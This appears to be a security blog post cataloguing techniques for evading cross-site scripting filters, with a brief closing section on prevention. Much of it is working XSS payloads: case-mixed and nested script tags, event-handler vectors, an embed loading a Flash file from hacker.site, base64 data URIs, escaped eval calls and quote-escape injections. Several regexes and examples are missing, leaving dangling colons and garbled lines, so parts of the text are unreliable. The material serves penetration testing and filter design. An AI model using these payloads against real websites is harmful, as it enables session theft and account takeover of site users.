Cross-Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise trustworthy websites. The flaws that allow these attacks to succeed are common and can be found whenever a web application accepts user input in its output without verifying or encoding it.
Many security researchers have created guides and cheat sheets to aid security professionals in the testing of Cross-Site Scripting problems over the years.
The most well-known is “XSS Filter Evasion Cheat Sheet,” which was produced by RSnake and then donated to OWASP. Cure53’s HTML5 Security Cheatsheet is another intriguing initiative.
In this blog, we will not analyze the vectors reported in the cheat sheet one by one, but rather identify which of them are possible scenarios we may encounter and how to overcome them.
The most common scenarios you will come across are:
- The XSS vector is blocked by the application or something else.
- The XSS vector is sanitized.
- The XSS vector is filtered or blocked by the browser.
We’ll look at several evasion tactics to get around the weakest regulations and get effective XSS bypass vectors.
Bypassing Blacklisting Filters
Filters in blacklist mode are the most commonly used due to their ease of installation. Its mission is to identify specific patterns and prevent malicious behavior. It all comes down to “patterns,” and the more accurate they are, the more frequently they will prevent attacks.
Script Code Injection
Getting Around Weak <Script> Tag Baning
It is possible that the filters are weak and do not cover all possible cases, allowing them to be bypassed, The following are just a few examples of how to get around weak rules.
<ScRiPt>alert(1);</ScRiPt> - Upper- & Lower-case characters
<ScRiPt>alert(1); - Upper- & Lower-case characters, without closing tag
<script/random>alert(1);</script> - Random string after the tag name
<script>alert(1);</script> - Newline after the tag name
<scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags
<scr\x00ipt>alert(1)</scr\x00ipt> - NULL byte (IE up to v9)
ModSecurity > Script Tag Based XSS Vectors Rule
For example, this is how ModSecurity filters the <script> tag:
Obviously, this is not the only way to inject script code, There are several ways to run our code, such as different HTML tags and related event handlers.
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>
Here’s a small tool. https://github.com/evilcos/xss.swf
Almost all event handler identifiers begin with on and are followed by the event name. Onerror is one of the most commonly used:
<img src=x onerror=alert(1)>
But, there are many other events.
Below are some HTML 4 tags examples:
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<textarea autofocus onfocus=alert(1)>
Below are some HTML 5 tags examples:
<keygen autofocus onfocus=alert(1)>
From a defensive standpoint, the solution is to filter all events that begin with on* in order to prevent this injection point from being used.
This is a very common regex that you may come across:
Thanks to a mix of HTML and browsers “dynamisms”, we can easily bypass this first filter:
So, we have an “upgrade”:
But there is still an issue. Because some browsers convert the control character to space, the s meta-character alone is insufficient to cover all possible characters.
Here are some bypasses:
We have the first set of control characters that can be used between the event name attribute (for example, onload) and the equal sign (=) character, or just before the event name:
IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
Browsers, on the other hand, are constantly evolving, so some of the permitted characters may no longer work. Gareth Heyes has created two fuzzer tests on Shazzer Fuzz DB:
• Characters are permitted after the attribute name.
• Characters may appear before the name of an attribute.
You can run it in your browser or view the results of previously scanned browsers.
To date, a valid regex rule should be the following:
Keyword Based Filters
Let’s have a look at several “alternatives” for getting around these types of filters.
Let’s pretend we need to get around a filter that prevents the alert keyword from being used in the following scenarios. For a moment, we’re ignoring the fact that there are other options (see: prompt, confirm, etc.).
Character Escaping > Unicode
<script>alert(1)</script> Alert(1) <— Blocked
Here we see Unicode escaping without using native functions:
We can also see here, Unicode escaping using native functions. Note, eval is just one of many:
Character Escaping > Decimal, Octal, Hexadecimal
If the filtered vector is within a string, in addition to Unicode, there are multiple escapes we may adopt:
<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/>
eval(‘\141lert(1) ’) <—– Octal escaping
eval(‘\x61lert(1)’) <—– Hexadecimal escaping
<img src=x onerror="alert(1)"/>
<img src=x onerror="alert(1)"/>
<img src=x onerror="eval('\a\l\ert\(1\)')"/>
a <—– Hexadecimal Numeric Character
a <—— Decimal NCR
'\a\l\ert(1\ <—— Superfluous Escapes Character
All character escaping can stay together!
<img src=x onerror="\u0065val('\141\u006cert\(1)')"/>
In order to get around filters, you’ll need to know how to build strings.
The alert keyword, for example, is restricted as normal, but “ale”+“rt” is most likely not recognized. Let’s have a look at some examples.
The following are just a few sinks; for a complete list, refer to the DOM XSS Wiki:
setTimeout("JSCode") //all browsers
setInterval("JSCode") //all browsers
setImmediate("JSCode") //IE 10+
Function("JSCode") //all browsers
An interesting variation of the Function sink is:
. <—— Object
.constructor <—— Function
(alert(1)) <—— XSS Vector
Let’s check out some examples.
Let’s see how they work.
Small data items provided with various media types can be included with the data URI scheme. This is how the structure looks like:
Text/html and the base64 indicator, which allows us to encode our data, are the media types that we are most interested in. Let’s have a look at some examples.
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== <—– Base64 Encoded
data: <—— Blocked
If data: is blocked then use this:
Because it can only be used in Internet Explorer, the VBScript pseudo-protocol is not widely utilized, VBScript is no longer supported for the Internet zone in IE11 in Edge mode. Let’s have a look at some scenarios.
To invoke VBScript, we may use VBScript:, as well as vbs:
<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>
<iMg src=a onErRor="vBsCriPt:AlErT(4)"/>
If the VBScript: is blocked, we could use the usual encoding techniques:
<img src=x onerror="vbscript:alert(1)">
<img src=x onerror="vbccript:alert(1)">
Rather than blocking the entire request, security systems frequently prefer to sanitize suspected XSS vectors. These are most likely the filters we’ll come across during our experiments.
The most frequent method is to HTML-encode some essential characters, such as (<), > (>), and so on. This isn’t always enough, because it relies on where the untrusted data is inserted on the page.
A filter may modify your vector in some cases by deleting dangerous phrases. Remove the <script> tags, for example.
The rule just removes the first instance of the matched expression, which is a common blunder with this behavior.
Removing HTML Tags
For example, <script>alert(1)</script> is correctly
sanitized to alert(1), but since the check is not performed
This could be a bypass!
If the filter runs recursive tests, you should always check to see if it is still exploitable. Changing the sequence of the inserted strings can help you.
Let’s look at an example.
It’s conceivable that the recursive tests are in order.
They begin with the <script> tag, then the next, and so on, without going back to the beginning to see whether there are any more dangerous strings.
The following vector could be a bypass:
Of course, if we know or can guess the sequence, we can generate more complex vectors and possibly employ several character encodings, as we saw in the section on Bypassing Blacklisting Filters.
It all relies on the filter we’re dealing with.
It’s all about HTML tags, and the injection locations are frequently found inside quoted strings. To escape that type of character, filters commonly place the backslash character () before quotations.
To avoid bypasses, it’s also necessary to escape the backslash. Consider the following code, in which we may control the value random key but the quotations are escaped:
<script>var key = 'randomkey';</script>
Instead of a random key, if we inject randomkey\' alert(1); // then we have a bypass.
We could also play with the unescape method to escape a string generated. For example, we could escape a string with .source technique.
Even if this feature has been deprecated, many browsers still support it.
In addition to this, there are decode URI and decodeURIComponent methods. In this case, characters
needs to be URL-encoded to avoid URI malformed errors.
These techniques would be handy if you can inject them into a script or event handler, but you can’t use quotation marks because they’re already escaped.
Remember that each of them will return a string, therefore you’ll need an execution sink to get the function to run (IE: eval).
How to Prevent Cross-Site Scripting in Your Applications
Filtering alone is clearly not the solution, with hundreds of ways to evade filters and new vectors sprouting all the time. Filters do not prevent XSS attacks; rather, they eliminate a small fraction of code patterns that could be used in an attack. In fact, instead of blocking malicious code, filtering solves the wrong problem by attempting to prevent any calls that load bad code itself.
Developers may have significantly more influence on the application and user security than any filters by developing secure code that is not vulnerable to XSS attacks. This can be accomplished at the application level by using context-sensitive escaping and encoding appropriately. The usage of appropriate HTTP security headers on the HTTP protocol level is the major weapon against Cross-Site Scripting.
Thank you for reading my post; please leave a comment below if you have any suggestions 🙂
Here is my Twitter handle @N3T_hunt3r Feel free to reach me.